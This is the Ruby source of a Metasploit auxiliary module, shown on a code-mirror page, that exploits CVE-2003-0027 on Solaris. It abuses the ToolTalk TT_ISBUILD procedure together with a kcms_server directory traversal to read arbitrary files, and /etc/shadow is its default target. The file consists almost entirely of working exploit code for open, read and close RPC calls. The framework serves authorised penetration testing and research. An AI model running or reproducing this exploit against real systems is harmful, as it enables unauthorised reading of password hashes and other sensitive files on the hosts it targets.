Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::SunRPC
9
10
def initialize
11
super(
12
'Name' => 'Solaris KCMS + TTDB Arbitrary File Read',
13
'Description' => %q{
14
This module targets a directory traversal vulnerability in the
15
kcms_server component from the Kodak Color Management System. By
16
utilizing the ToolTalk Database Server\'s TT_ISBUILD procedure, an
17
attacker can bypass existing directory traversal validation and
18
read arbitrary files.
19
20
Vulnerable systems include Solaris 2.5 - 9 SPARC and x86. Both
21
kcms_server and rpc.ttdbserverd must be running on the target
22
host.
23
},
24
'Author' => [
25
'vlad902 <vlad902[at]gmail.com>', # MSF v2 module
26
'jduck' # Ported to MSF v3
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
['CVE', '2003-0027'],
31
['OSVDB', '8201'],
32
['BID', '6665'],
33
['URL', 'http://marc.info/?l=bugtraq&m=104326556329850&w=2']
34
],
35
# Tested OK against sol8.tor 20100624 -jjd
36
'DisclosureDate' => 'Jan 22 2003')
37
38
register_options(
39
[
40
OptString.new('PATH', [ true, 'Path to the file to disclose, relative to the root dir.', 'etc/shadow']),
41
OptString.new('OUTPUTPATH', [ false, 'Local path to save the file contents to', nil ])
42
]
43
)
44
end
45
46
def run
47
# There is a fixed size buffer in use, so make sure we don't exceed it..
48
# (NOTE: 24 bytes are reserved for traversal string)
49
path = datastore['PATH']
50
if (path.length > 1000)
51
raise 'File name is too long.'
52
end
53
54
print_status('Making request to the ToolTalk Database Server...')
55
56
# Hopefully one of these works ;)
57
ttdb_build('/etc/openwin/devdata/profiles/TT_DB/oid_container')
58
ttdb_build('/etc/openwin/etc/devdata/TT_DB/oid_container')
59
60
# If not, we'll find out now ...
61
print_status('Making open() request to the kcms_server...')
62
sunrpc_create('tcp', 100221, 1)
63
sunrpc_authunix('localhost', 0, 0, [])
64
65
# Prepare the traversing request for kcms_server
66
trav = 'TT_DB/' + ('../' * 5) + path
67
buf = Rex::Encoder::XDR.encode(
68
[trav, 1024],
69
0, # O_RDONLY
70
0o755
71
) # mode
72
73
# Make the request
74
ret = sunrpc_call(1003, buf)
75
ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)
76
77
if (ack != 0)
78
print_error('KCMS open() failed (ack: 0x%x != 0)' % ack)
79
80
if (fsize == 0)
81
print_status('File does not exist (or host is patched)')
82
end
83
return
84
end
85
86
# Nice, open succeeded, show the return data
87
print_status("fd: #{fd}, file size #{fsize}")
88
89
print_status('Making read() request to the kcms_server...')
90
buf = Rex::Encoder::XDR.encode(
91
fd,
92
0,
93
fsize
94
)
95
96
ret = sunrpc_call(1005, buf)
97
_, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])
98
99
# If we got something back...
100
if data
101
data = data.pack('C*')
102
103
# Store or display the results
104
if datastore['OUTPUTPATH']
105
fname = datastore['PATH'].gsub(%r{[/\\]}, '_')
106
outpath = File.join(datastore['OUTPUTPATH'], fname)
107
print_status("Saving contents to #{outpath} ...")
108
File.open(outpath, 'wb') do |f|
109
f.write(data)
110
end
111
else
112
print_status('File contents:')
113
print_status(data.inspect)
114
end
115
else
116
print_error('No data returned!')
117
end
118
119
# Close it regardless if it returned anything..
120
print_status('Making close() request to the kcms_server...')
121
buf = Rex::Encoder::XDR.encode(fd)
122
sunrpc_call(1004, buf)
123
124
# done
125
sunrpc_destroy
126
rescue Timeout::Error, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Rex::Proto::SunRPC::RPCError => e
127
print_error(e.to_s)
128
rescue ::Rex::Proto::SunRPC::RPCTimeout
129
print_warning('Warning: ' + $ERROR_INFO)
130
print_warning('Exploit may or may not have succeeded.')
131
end
132
133
#
134
# Send a TT_ISBUILD request to rpc.ttdbserverd
135
#
136
def ttdb_build(path)
137
sunrpc_create('tcp', 100083, 1)
138
sunrpc_authunix('localhost', 0, 0, [])
139
msg = Rex::Encoder::XDR.encode(
140
[path, 1024],
141
path.length,
142
1, # KEY (VArray head?)
143
2,
144
1,
145
0, # KEYDESC
146
2,
147
1,
148
# 21 zeros, /KEYDESC, /KEY
149
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
150
0x10002,
151
path.length
152
)
153
ret = sunrpc_call(3, msg)
154
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
155
print_status(format("TTDB reply: 0x%<addr>x, #{arr[1]}", addr: arr[0]))
156
sunrpc_destroy
157
end
158
end
159
160